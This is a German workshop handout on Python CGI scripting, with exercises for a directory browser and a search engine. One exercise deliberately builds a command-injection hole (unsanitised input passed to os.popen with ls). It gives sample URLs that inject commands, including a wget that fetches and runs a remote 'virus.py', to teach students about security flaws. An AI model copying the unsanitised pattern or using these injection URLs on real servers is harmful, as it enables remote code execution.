Workshop „Tools zur Numerischen Modellierung “ Kapitel „Python “ CGI-Programmierung: Allgemeine Informationen 1. CGI-Skripte (CGI=Commom Gateway Interface ≈ Allgemeine VermittlungsrechnerSchnittstelle) sind Programme, die mit Hilfe des Webbrowsers über das Internet gestartet werden können (auf die gleiche Weise, wie man ein HTML-Dokument anfordert). Anwendung sind z.B. • Dynamische Generierung von Webseiten, • Verarbeitung von Daten, die über HTML-Formulare eingegeben werden, • Online-Zugriffe auf Datenbanken (Suchmaschinen, Routenplaner etc.), • Kommunikationsplattformen (Diskussionsforen, Chat-Rooms etc.). 2. Funktionsweise: HTML− Dokumente User Surfen Webbrowser Anfrage mit URL Internet HTTP−Server CGI−Skripte CGI Server HTTP−Paket Ein Server allgemein ist ein Programm, das Anfragen bearbeitet (gelegentlich wird auch der Rechner, auf dem es läuft als Server bezeichnet). Der HTTP-Server besitzt ein Verzeichnis cgi-bin, in dem alle CGI-Skripte gespeichert werden. Der Aufruf erfolgt, indem man die Adresse des Skripts im Adressfenster des Browsers eingibt, z.B. http://www.python.org/cgi-bin/faqw.py. 3. Ein Python-CGI-Skript muss die folgenden zwei Komponenten enthalten: • In der ersten Zeile eine Anweisung an das Betriebssystem, welcher Interpreter aufgerufen werden soll (dieser sollte auf dem Server dann auch irgendwo vorhanden sein...), meist so etwas wie #!/usr/bin/python oder #!c:\python32\python.exe. • Danach print-Anweisungen, mit denen ein HTTP-Paket über die Standardausgabe ausgegeben wird. Ein HTTP-Paket wiederum besteht auch aus zwei Teilen, die durch eine Leerzeile getrennt sind: (a) Der Kopf enthält eine Spezifizierung des MIME-Typs der Informationen, die im Paket enthalten sind (MIME = Multipurpose Internet Mail Extension = Norm für Datentypen). Beispiele sind text/html, text/plain oder image/tiff für HTML-, reine Textdokumente oder Bilder im TIFFFormat. (b) Der Körper enthält die eigentlichen Nutzdaten, z.B. einen HTMLQuelltext. 1 4. Wie kann man nun CGI-Skripte auf einem lokalen Rechner testen? Sollten Sie keinen HTTP-Server auf Ihrem Rechner zur Verfügung haben, können Sie den Python-HTTP-Server verwenden. In dessen Verzeichnis muss ein Verzeichnis cgi-bin vorhanden sein, in dem die Skripte liegen, die getestet werden sollen. Um dann ein Skript zu starten, tragen Sie folgendes in das Adressfeld Ihres Browsers ein: http://localhost:8080/cgi-bin/beispielSkript.py Beachten Sie, dass das Skript vom Server gelesen werden darf, d.h. die Zugriffsrechte müssen hinreichend Erlaubnis-erteilend gesetzt sein. Aufgaben zu CGI-Scripting 1. Verzeichnis-Browser (a) Schreiben Sie ein Programm, welches den Inhalt des Stammverzeichnisses ("/") Ihres lokalen Rechners als HTML-Seite generiert. (b) Erweitern Sie dieses Programm so, dass es den Namen des Verzeichnisses als Parameter übergeben bekommt. Der Inhalt des Verzeichnisses soll dann so generiert werden, dass alle Verzeichnisse als Links dargestellt werden. Klickt man auf einen solchen Link, so soll wiederum Ihr Python-Programm aufgerufen werden und den Inhalt desjenigen Verzeichnisses anzeigen, dessen Link gerade angewählt wurde. 2. Sicherheitslücke: Bei CGI-Skripten muss eine gewisse Vorsicht an den Tag gelegt werden, ansonsten kann es passieren, dass finstere Gesellen von außen Zugriff auf den Server erlangen. Um dies zu verdeutlichen, wollen wir nun eine gefährliche Sicherheitslücke in das Programm aus Aufgabe 1) einbauen: Ändern Sie Ihr Programm so ab, dass der Inhalt des Verzeichnisses mit dem popen- Befehl unter Verwendung des Kommandos ls eingelesen wird (falls Sie das nicht eh schon auf diese Weise tun...), also: handle = os.popen("ls "+verzName) # verzName muss richtig formatiert sein liste = handle.readlines() # eine Liste von Strings for entry in liste: entry = entry.rstrip("\n") # jeweils \n am Ende abschneiden Rufen Sie das Programm im Browser nun folgendermaßen auf: http://localhost:8080/cgi-bin/skript.py?verzName=/home | kwrite Öffnet sich daraufhin kwrite, so probieren Sie mal folgendes: http://localhost:8080/cgi-bin/skript.py?verzName=/home | wget http://numod.ins.uni-bonn.de/people/nemitz/Python/virus.py (eine Zeile) http://localhost:8080/cgi-bin/skript.py?verzName=/home | python virus.py Aufgabe: Unterstreichen Sie das Wort „Sicherheitslücke“ und diskutieren Sie mit Ihrem Nachbarn darüber. 3. Implementieren Sie eine Suchmaschine, die über ein HTML-Formular einen Suchbegriff bekommt. Dieser Begriff soll dann in allen Dateien in allen Unterverzeichnissen ausgehend von einem beliebigen aber festen Verzeichnis gesucht werden (mittels der walk-Methode). Das Ergebnis soll eine HTML-Datei sein, die eine Liste aller Dateien zeigt, in denen der Suchbegriff vorkommt. Weiterhin soll zu jeder dieser Dateien die erste Zeile gedruckt werden, in der der Suchbegriff steht. 2